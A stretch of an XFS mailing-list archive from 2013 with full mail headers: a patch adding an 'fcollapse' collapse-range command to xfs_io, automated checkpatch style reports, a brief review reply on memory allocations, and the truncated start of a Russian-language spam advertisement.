---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Namjae Jeon Add support FALLOC_FL_COLLAPSE_RANGE for fallocate. Signed-off-by: Namjae Jeon Signed-off-by: Ashish Sangwan --- io/prealloc.c | 39 ++++++++++++++++++++++++++++++++++++++- man/man8/xfs_io.8 | 6 ++++++ 2 files changed, 44 insertions(+), 1 deletion(-) diff --git a/io/prealloc.c b/io/prealloc.c index 8380646..e7ff940 100644 --- a/io/prealloc.c +++ b/io/prealloc.c @@ -29,6 +29,10 @@ #define FALLOC_FL_PUNCH_HOLE 0x02 #endif +#ifndef FALLOC_FL_COLLAPSE_RANGE +#define FALLOC_FL_COLLAPSE_RANGE 0x08 +#endif + static cmdinfo_t allocsp_cmd; static cmdinfo_t freesp_cmd; static cmdinfo_t resvsp_cmd; @@ -37,6 +41,7 @@ static cmdinfo_t zero_cmd; #if defined(HAVE_FALLOCATE) static cmdinfo_t falloc_cmd; static cmdinfo_t fpunch_cmd; +static cmdinfo_t fcollapse_cmd; #endif static int @@ -159,8 +164,11 @@ fallocate_f( int mode = 0; int c; - while ((c = getopt(argc, argv, "kp")) != EOF) { + while ((c = getopt(argc, argv, "ckp")) != EOF) { switch (c) { + case 'c': + mode = FALLOC_FL_COLLAPSE_RANGE; + break; case 'k': mode = FALLOC_FL_KEEP_SIZE; break; @@ -203,6 +211,25 @@ fpunch_f( } return 0; } + +static int +fcollapse_f( + int argc, + char **argv) +{ + xfs_flock64_t segment; + int mode = FALLOC_FL_COLLAPSE_RANGE; + + if(!offset_length(argv[1], argv[2], &segment)) + return 0; + + if (fallocate(file->fd, mode, + segment.l_start, segment.l_len)) { + perror("fallocate"); + return 0; + } + return 0; +} #endif /* HAVE_FALLOCATE */ void @@ -277,5 +304,15 @@ prealloc_init(void) fpunch_cmd.oneline = _("de-allocates space assocated with part of a file via fallocate"); add_command(&fpunch_cmd); + + fcollapse_cmd.name = "fcollapse"; + fcollapse_cmd.cfunc = fcollapse_f; + fcollapse_cmd.argmin = 2; + fcollapse_cmd.argmax = 2; + fcollapse_cmd.flags = CMD_NOMAP_OK | CMD_FOREIGN_OK; + fcollapse_cmd.args = _("off len"); + fcollapse_cmd.oneline = + _("de-allocates space and nullify the hole by shifting extents into it"); + add_command(&fcollapse_cmd); #endif /* HAVE_FALLOCATE */ } diff --git a/man/man8/xfs_io.8 b/man/man8/xfs_io.8 index 767b50e..9543b20 100644 --- a/man/man8/xfs_io.8 +++ b/man/man8/xfs_io.8 @@ -380,6 +380,12 @@ will set the FALLOC_FL_KEEP_SIZE flag as described in .PD .RE .TP +.BI fcollapse " offset length" +Call fallocate with FALLOC_FL_COLLAPSE_RANGE flag as described in the +.BR fallocate (2) +manual page to de-allocates blocks and eliminates the hole created in this process +by shifting data blocks into the hole. +.TP .BI fpunch " offset length" Punches (de-allocates) blocks in the file by calling fallocate with the FALLOC_FL_PUNCH_HOLE flag as described in the -- 1.7.9.5 From wangshilong1991@gmail.com Mon Sep 2 11:03:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F338F7F52 for ; Mon, 2 Sep 2013 11:03:40 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id D9B4B8F8040 for ; Mon, 2 Sep 2013 09:03:40 -0700 (PDT) X-ASG-Debug-ID: 1378137816-04cb6c153dcefe50001-NocioJ Received: from mail-pb0-f53.google.com (mail-pb0-f53.google.com [209.85.160.53]) by cuda.sgi.com with ESMTP id mBxm0YvVeJiybUAa (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 02 Sep 2013 09:03:37 -0700 (PDT) X-Barracuda-Envelope-From: wangshilong1991@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.53 Received: by mail-pb0-f53.google.com with SMTP id up15so4863041pbc.26 for ; Mon, 02 Sep 2013 09:03:36 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:subject:cc:message-id:user-agent:mime-version :content-type:content-transfer-encoding; bh=tzWguPh1ituObYA4chzLBqD77BH7AlsPsBN5Nj1m10k=; b=Lq2wM8osG2KgzCQ5uF8lC/jZBH24Lz98GyAJQKKTgW6VJwN3gIpPtCUUH4ukP5one2 MKB9dF3eaQWsh1UOKdA4rhtkvrHNbNg1pCfTQw/OseYXAOoVwH9czQ/CZYUPzaHbY+yA QICSjsqcC2G2ic/r6cJ4XL7xKqMeDt94FNM/waAN5iI63jbGAUx9HdLHNEpiEc8s0LTI ttvxR5P2KvlFkkorffhPAOEwJuQbuIYAWe6EzpMvBKsgWzoNXWbosi63jf0+HfUcJ7Ui 8gndc1xdlx5oJff7cIkr8cwhANrgEk5ZEd6hww7hTTObUvlbudxyIaZEd52GMRMRrwKw S9WA== X-Barracuda-BBL-IP: nil X-Received: by 10.69.13.132 with SMTP id ey4mr26397917pbd.52.1378137816639; Mon, 02 Sep 2013 09:03:36 -0700 (PDT) Received: from localhost ([223.65.188.8]) by mx.google.com with ESMTPSA id fk4sm17978241pab.23.1969.12.31.16.00.00 (version=TLSv1.2 cipher=RC4-SHA bits=128/128); Mon, 02 Sep 2013 09:03:35 -0700 (PDT) Date: Tue, 03 Sep 2013 00:03:29 +0800 X-Barracuda-Apparent-Source-IP: 223.65.188.8 From: Wang Shilong To: NamJae Jeon Subject: Re: [v2,6/7] xfstest: Add test case to test multiple collapse range call Cc: Wang Shilong , Namjae Jeon , Namjae Jeon , a.sangwan@samsung.com, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, david@fromorbit.com linux-fsdevel@vger.kernel.org, hch@infradead.org, elder@kernel.org, bpm@sgi.com, adilger.kernel@dilger.ca, tytso@mit.edu, mtk.manpages@gmail.com, viro@zeniv.linux.org.uk X-ASG-Orig-Subj: Re: [v2,6/7] xfstest: Add test case to test multiple collapse range call Message-ID: <5224b6d1.kHB8BmSmsG/UJ0Oj%wangshilong1991@gmail.com> User-Agent: Heirloom mailx 12.5 7/5/10 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-pb0-f53.google.com[209.85.160.53] X-Barracuda-Start-Time: 1378137817 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.24 X-Barracuda-Spam-Status: No, SCORE=0.24 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, DKIM_SIGNED, DKIM_VERIFIED, MAILTO_TO_SPAM_ADDR, RCVD_ILLEGAL_IP X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140135 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.23 RCVD_ILLEGAL_IP Received: contains illegal IP address -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain Hello, Using checkpatch.pl, i get the following warnings(errors): ERROR: trailing whitespace #97: FILE: tests/shared/317:56: +^I^I^Iprint $1, $2, $3; $ ERROR: trailing whitespace #99: FILE: tests/shared/317:58: +^I^I} $ ERROR: trailing whitespace #122: FILE: tests/shared/317:81: +# Collapse alternate blocks $ total: 3 errors, 0 warnings, 185 lines checked NOTE: whitespace errors detected, you may wish to use scripts/cleanpatch or scripts/cleanfile patch has style problems, please review. If any of these errors are false positives, please report them to the maintainer, see CHECKPATCH in MAINTAINERS. Thanks, Wang Notice: this is an automatically generated by shell script Any problems please contact: wangshilong1991@gmail.com From wangshilong1991@gmail.com Mon Sep 2 11:03:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id B1DEE7F52 for ; Mon, 2 Sep 2013 11:03:41 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id A15FC8F8040 for ; Mon, 2 Sep 2013 09:03:38 -0700 (PDT) X-ASG-Debug-ID: 1378137817-04cbb02c3bcea580001-NocioJ Received: from mail-pa0-f48.google.com (mail-pa0-f48.google.com [209.85.220.48]) by cuda.sgi.com with ESMTP id pRPIaekkt05XhbuI (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 02 Sep 2013 09:03:37 -0700 (PDT) X-Barracuda-Envelope-From: wangshilong1991@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.220.48 Received: by mail-pa0-f48.google.com with SMTP id kp13so5300927pab.7 for ; Mon, 02 Sep 2013 09:03:37 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:subject:cc:message-id:user-agent:mime-version :content-type:content-transfer-encoding; bh=HHirONHYF50pDSbWMu2CTyh5vm2d3q1g+Lv8vXDIvNU=; b=hahF4GEH0OBaV4PhuvkF7NssdlrVywP7hVaui0jSIB4rZnNedpm5ZrBR4XafTouQn4 pchnbUdlNdK5lioOZSJQrhiuYiABDv3XFjRk9lgO6K0/YXGKTQO/kuyuq1B/IGTj6mYx Dr5neTVOkY0sB2pduCrv4vD7EGJhhVAsATvHyxnfvHa+irmhvd56LN5NmyvKeLa19c9r 9GIURYid+8WgQldXVAqxrqXUaWuuZ8Z/12jJrhq493p78a4VhVzFdydBaMSeUmMqnMOx JiNOkGTSD5tl5vJAjNwH7SCC7iTyMil/0BSjr73AxuXRYxs9/nrIvFof+sCQS183l/uE 8vHg== X-Barracuda-BBL-IP: nil X-Received: by 10.69.0.129 with SMTP id ay1mr26667400pbd.12.1378137817099; Mon, 02 Sep 2013 09:03:37 -0700 (PDT) Received: from localhost ([223.65.188.8]) by mx.google.com with ESMTPSA id xs1sm18009190pac.7.1969.12.31.16.00.00 (version=TLSv1.2 cipher=RC4-SHA bits=128/128); Mon, 02 Sep 2013 09:03:36 -0700 (PDT) Date: Tue, 03 Sep 2013 00:03:29 +0800 X-Barracuda-Apparent-Source-IP: 223.65.188.8 From: Wang Shilong To: NamJae Jeon Subject: Re: [v2, 4/7] xfsprogs: xfsio: add support FALLOC_FL_COLLAPSE_RANGE for fallocate Cc: Wang Shilong , Namjae Jeon , Namjae Jeon , a.sangwan@samsung.com, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, david@fromorbit.com linux-fsdevel@vger.kernel.org, hch@infradead.org, elder@kernel.org, bpm@sgi.com, adilger.kernel@dilger.ca, tytso@mit.edu, mtk.manpages@gmail.com, viro@zeniv.linux.org.uk X-ASG-Orig-Subj: Re: [v2, 4/7] xfsprogs: xfsio: add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-ID: <5224b6d1.ZoJRPU29rGaeSvHy%wangshilong1991@gmail.com> User-Agent: Heirloom mailx 12.5 7/5/10 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-pa0-f48.google.com[209.85.220.48] X-Barracuda-Start-Time: 1378137817 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.24 X-Barracuda-Spam-Status: No, SCORE=0.24 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, DKIM_SIGNED, DKIM_VERIFIED, MAILTO_TO_SPAM_ADDR, RCVD_ILLEGAL_IP X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140135 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.23 RCVD_ILLEGAL_IP Received: contains illegal IP address -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain Hello, Using checkpatch.pl, i get the following warnings(errors): ERROR: space required before the open parenthesis '(' #79: FILE: io/prealloc.c:223: + if(!offset_length(argv[1], argv[2], &segment)) WARNING: line over 80 characters #104: FILE: io/prealloc.c:315: + _("de-allocates space and nullify the hole by shifting extents into it"); total: 1 errors, 1 warnings, 81 lines checked patch has style problems, please review. If any of these errors are false positives, please report them to the maintainer, see CHECKPATCH in MAINTAINERS. Thanks, Wang Notice: this is an automatically generated by shell script Any problems please contact: wangshilong1991@gmail.com From wangshilong1991@gmail.com Mon Sep 2 11:03:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 814647F52 for ; Mon, 2 Sep 2013 11:03:42 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 03BA0AC002 for ; Mon, 2 Sep 2013 09:03:38 -0700 (PDT) X-ASG-Debug-ID: 1378137817-04cbb02c3acea580001-NocioJ Received: from mail-pd0-f173.google.com (mail-pd0-f173.google.com [209.85.192.173]) by cuda.sgi.com with ESMTP id KQARZaXE09IVR0lF (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 02 Sep 2013 09:03:38 -0700 (PDT) X-Barracuda-Envelope-From: wangshilong1991@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.173 Received: by mail-pd0-f173.google.com with SMTP id p10so4915322pdj.32 for ; Mon, 02 Sep 2013 09:03:37 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:subject:cc:message-id:user-agent:mime-version :content-type:content-transfer-encoding; bh=HHirONHYF50pDSbWMu2CTyh5vm2d3q1g+Lv8vXDIvNU=; b=0mUxcUlh4pkIVWKL5eU8sOcSEJC3HcVCyVkv3ax3e8iN49dB8tmpWCD0Ybjgm/QeNu m0MoH9QxYGrXiH6FZyVlt/nfkV7btHbbzwAxex1PeBKyTEmvvZqsDyhOszEuvYRMncLA A0hl8O3bxRwmNGrXp+uJV7lsvR/ePeLIRFFH4u4dTC4wy4TEqA5uN0L8KhLlVaptlks9 0A5awAHlMdJcWSJ6mP5j3eC7KHp+UELrykBK0+F3thSUmioEMr89Wh1Nhkl9qFjNFLi5 +oyzcLTt0Couu2OlojRpTKYC+zCDkyi4n2bCFaqzMjIqFRqsWCzxTaRvirQb8eG9OpMG bZKg== X-Barracuda-BBL-IP: nil X-Received: by 10.68.20.129 with SMTP id n1mr5112883pbe.97.1378137817338; Mon, 02 Sep 2013 09:03:37 -0700 (PDT) Received: from localhost ([223.65.140.8]) by mx.google.com with ESMTPSA id pu5sm17981784pac.21.1969.12.31.16.00.00 (version=TLSv1.2 cipher=RC4-SHA bits=128/128); Mon, 02 Sep 2013 09:03:36 -0700 (PDT) Date: Tue, 03 Sep 2013 00:03:28 +0800 X-Barracuda-Apparent-Source-IP: 223.65.140.8 From: Wang Shilong To: NamJae Jeon Subject: Re: [v4, 4/7] xfsprogs: xfsio: add support FALLOC_FL_COLLAPSE_RANGE for fallocate Cc: Wang Shilong , Namjae Jeon , Namjae Jeon , a.sangwan@samsung.com, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, david@fromorbit.com linux-fsdevel@vger.kernel.org, hch@infradead.org, elder@kernel.org, bpm@sgi.com, adilger.kernel@dilger.ca, tytso@mit.edu, mtk.manpages@gmail.com, viro@zeniv.linux.org.uk X-ASG-Orig-Subj: Re: [v4, 4/7] xfsprogs: xfsio: add support FALLOC_FL_COLLAPSE_RANGE for fallocate Message-ID: <5224b6d0.wO06bsCiIYkyKFs2%wangshilong1991@gmail.com> User-Agent: Heirloom mailx 12.5 7/5/10 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail-pd0-f173.google.com[209.85.192.173] X-Barracuda-Start-Time: 1378137817 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.24 X-Barracuda-Spam-Status: No, SCORE=0.24 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, DKIM_SIGNED, DKIM_VERIFIED, MAILTO_TO_SPAM_ADDR, RCVD_ILLEGAL_IP X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140135 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.23 RCVD_ILLEGAL_IP Received: contains illegal IP address -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain Hello, Using checkpatch.pl, i get the following warnings(errors): ERROR: space required before the open parenthesis '(' #79: FILE: io/prealloc.c:223: + if(!offset_length(argv[1], argv[2], &segment)) WARNING: line over 80 characters #104: FILE: io/prealloc.c:315: + _("de-allocates space and nullify the hole by shifting extents into it"); total: 1 errors, 1 warnings, 81 lines checked patch has style problems, please review. If any of these errors are false positives, please report them to the maintainer, see CHECKPATCH in MAINTAINERS. Thanks, Wang Notice: this is an automatically generated by shell script Any problems please contact: wangshilong1991@gmail.com From tinguely@sgi.com Mon Sep 2 12:03:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 946D929DFB for ; Mon, 2 Sep 2013 12:03:41 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 66A458F8050; Mon, 2 Sep 2013 10:03:38 -0700 (PDT) Message-ID: <5224C4E9.8080604@sgi.com> Date: Mon, 02 Sep 2013 12:03:37 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 0/2] xfs: fix some new memory allocation failures References: <1378119180-31380-1-git-send-email-david@fromorbit.com> In-Reply-To: <1378119180-31380-1-git-send-email-david@fromorbit.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/02/13 05:52, Dave Chinner wrote: > Hi folks, > > These failures are a result of order-4 allocations being done on v5 > filesystems to support the large ACL count xattrs. The first patch > puts out usual falbback to vmalloc workaround in place. The second > patch factors all the places we now have this fallback-to-vmalloc > and makes it transparent to the callers. > > Cheers, > > Dave. Thanks for clean up. Broken record time: Do we really need order allocation in the filesystem? Esp in xfs_ioctl.c. --Mark. From morgan@home.nl Mon Sep 2 17:14:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D294329DFB for ; Mon, 2 Sep 2013 17:14:47 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id B322830407F for ; Mon, 2 Sep 2013 15:14:47 -0700 (PDT) X-ASG-Debug-ID: 1378160081-04cb6c2e9ccfc690001-NocioJ Received: from mail.nevatuft.ru (neva-taft-4.ip.PeterStar.net [82.140.81.12]) by cuda.sgi.com with ESMTP id mxO0p68EAOAMwmKa for ; Mon, 02 Sep 2013 15:14:42 -0700 (PDT) X-Barracuda-Envelope-From: morgan@home.nl X-Barracuda-Apparent-Source-IP: 82.140.81.12 Received: from mail.nevatuft.ru (localhost [127.0.0.1]) by mail.nevatuft.ru (Postfix) with ESMTP id 44C6255AF45; Tue, 3 Sep 2013 02:14:31 +0400 (MSK) Received: from Unknown (unknown [90.150.9.38]) by mail.nevatuft.ru (Postfix) with ESMTPA id CAE7555AF43; Tue, 3 Sep 2013 02:14:29 +0400 (MSK) Message-ID: Reply-To: =?windows-1251?B?4PDh6PLw4OY=?= From: =?windows-1251?B?4PDh6PLw4OY=?= To: , , , Subject: =?windows-1251?B?zvLr6Pfo5SD07vDxLezg5u7w4CDoIOLw5ezl?= =?windows-1251?B?7e3u6SDt5eLu5+zu5u3u8fLoIOjx7+7r7eXt?= =?windows-1251?B?6P8uIMLq6/735e3o5SDiIOTu4+7i7vA=?= Date: Tue, 3 Sep 2013 00:14:47 +0200 X-ASG-Orig-Subj: =?windows-1251?B?zvLr6Pfo5SD07vDxLezg5u7w4CDoIOLw5ezl?= =?windows-1251?B?7e3u6SDt5eLu5+zu5u3u8fLoIOjx7+7r7eXt?= =?windows-1251?B?6P8uIMLq6/735e3o5SDiIOTu4+7i7vA=?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_19AB_01CEA83A.992659C0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6109 X-Virus-Scanned: ClamAV using ClamSMTP X-Barracuda-Connect: neva-taft-4.ip.PeterStar.net[82.140.81.12] X-Barracuda-Start-Time: 1378160081 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140159 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ------=_NextPart_000_19AB_01CEA83A.992659C0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_19AC_01CEA83A.992659C0" ------=_NextPart_001_19AC_01CEA83A.992659C0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =CF=F0=E8=E3=EB=E0=F8=E0=E5=EC =ED=E0 =EF=EE=EF=F3=EB=FF=F0=ED=FB=E9 =CA=D3= =D0=D1 =EF=EE=E2=FB=F8=E5=ED=E8=FF =EA=E2=E0=EB=E8=F4=E8=EA=E0=F6=E8=E8 =F1= =ED=E0=F1=F2=EE=FF=F9=E8=EC =C0=D2=D2=C5=D1=D2=C0=D2=CE=CC =E3=EE=F1=F3=E4= =E0=F0=F1=F2=E2=E5=ED=ED=EE=E3=EE =EE=E1=F0=E0=E7=F6=E0 =EF=EE =F2=E5=EC=E5= : =D1=F0=E5=E4=E8 =F2=E5=EC: - =D3=F1=EB=EE=E2=ED=FB=E5 =F1=E4=E5=EB=EA=E8; - =CF=F0=EE=F2=E8=E2=EE=E4=E5=E9=F1=F2=E2=E8=E5 =EC=EE=F8=E5=ED=ED=E8=F7=E5= =F1=EA=E8=EC =E4=E5=E9=F1=F2=E2=E8=FF=EC =ED=E5=E4=EE=E1=F0=EE=F1=EE=E2=E5= =F1=F2=ED=FB=F5 =EA=EE=ED=F2=F0=E0=E3=E5=ED=F2=EE=E2; - =CE=F1=ED=EE=E2=ED=FB=E5 =EF=F0=E0=E2=E8=EB=E0 =EE=F4=EE=F0=EC=EB=E5=ED= =E8=FF =E4=EE=E3=EE=E2=EE=F0=EE=E2; - =D0=E0=E1=EE=F2=E0 =EF=EE =E2=FB=FF=E2=EB=E5=ED=E8=FE =ED=E0=F0=F3=F8=E5= =ED=E8=E9 =E4=EE=E3=EE=E2=EE=F0=ED=FB=F5 =F3=F1=EB=EE=E2=E8=E9; - =C0=EA=F2=F3=E0=EB=FC=ED=FB=E5 =FE=F0=E8=E4=E8=F7=E5=F1=EA=E8=E5 =E2=EE= =EF=F0=EE=F1=FB =EF=F0=E5=EA=F0=E0=F9=E5=ED=E8=FF =E4=EE=E3=EE=E2=EE=F0=ED= =FB=F5 =EE=E1=FF=E7=E0=F2=E5=EB=FC=F1=F2=E2; - =C0=EA=F2=F3=E0=EB=FC=ED=FB=E5 =EF=F0=E0=EA=F2=E8=F7=E5=F1=EA=E8=E5 =E2= =EE=EF=F0=EE=F1=FB =F0=E0=E1=EE=F2=FB =F1 =E4=E5=E1=E8=F2=EE=F0=E0=EC=E8 = =ED=E0 =E4=EE=F1=F3=E4=E5=E1=ED=EE=E9 =F1=F2=E0=E4=E8=E8 =E8 =EE=F0=E3=E0= =ED=E8=E7=E0=F6=E8=E8 =FD=F4=F4=E5=EA=F2=E8=E2=ED=EE=E9 =EF=F0=E5=F2=E5=ED= =E7=E8=EE=ED=ED=EE=E9 =F0=E0=E1=EE=F2=FB; - =DE=F0=E8=E4=E8=F7=E5=F1=EA=E0=FF =EF=F0=EE=E2=E5=F0=EA=E0 =EA=EE=ED=F2= =F0=E0=E3=E5=ED=F2=EE=E2; - =D1=E1=EE=F0 =E8=ED=F4=EE=F0=EC=E0=F6=E8=E8 =EE =F4=E8=ED=E0=ED=F1=EE=E2= =EE=EC =F1=EE=F1=F2=EE=FF=ED=E8=E8 =E4=EE=EB=E6=ED=E8=EA=E0 =E8 =EE=EF=F0= =E5=E4=E5=EB=E5=ED=E8=E5 =EF=E5=F0=F1=EF=E5=EA=F2=E8=E2 =F4=E0=EA=F2=E8=F7= =E5=F1=EA=EE=E3=EE =E2=E7=FB=F1=EA=E0=ED=E8=FF; - =CE=F1=EE=E1=E5=ED=ED=EE=F1=F2=E8 =E2=E7=FB=F1=EA=E0=ED=E8=FF =ED=E5=F3= =F1=F2=EE=E9=EA=E8 =E8 =EF=F0=EE=F6=E5=ED=F2=EE=E2 =E3=EE=E4=EE=E2=FB=F5; - =CF=EE=E4=E3=EE=F2=EE=E2=EA=E0 =E8=F1=EA=EE=E2=FB=F5 =EC=E0=F2=E5=F0=E8= =E0=EB=EE=E2 =E8 =F1=F2=F0=E0=F2=E5=E3=E8=FF =E2=E5=E4=E5=ED=E8=FF =E4=E5= =EB=E0 =E2 =F1=F3=E4=E5=E1=ED=FB=F5 =EE=F0=E3=E0=ED=E0=F5; =C7=E0=ED=FF=F2=E8=FF =ED=E0=F7=ED=F3=F2=F1=FF =F1 2=C7 =F1=E5=ED=F2=FF=E1= =F0=FF 2=EEI=C7=E3. =E2 =F1=E0=EC=EE=EC =F6=E5=ED=F2=F0=E5 =D1=CF=E1. =C2 =EA=EE=ED=F6=E5 =EA=F3=F0=F1=E0 =E1=F3=E4=E5=F2 =E2=FB=E4=E0=E2=E0=F2= =FC=F1=FF =ED=E0=F1=F2=EE=FF=F9=E8=E9 =C0=F2=F2=E5=F1=F2=E0=F2 =EE =EA=F0= =E0=F2=EA=EE=F1=F0=EE=F7=ED=EE=EC =EF=EE=E2=FB=F8=E5=ED=E8=E8 =EA=E2=E0=EB= =E8=F4=E8=EA=E0=F6=E8=E8 =E3=EE=F1=F3=E4=E0=F0=F1=F2. =EE=E1=F0=E0=E7=F6=E0= . =CF=EE=EB=ED=FB=E9 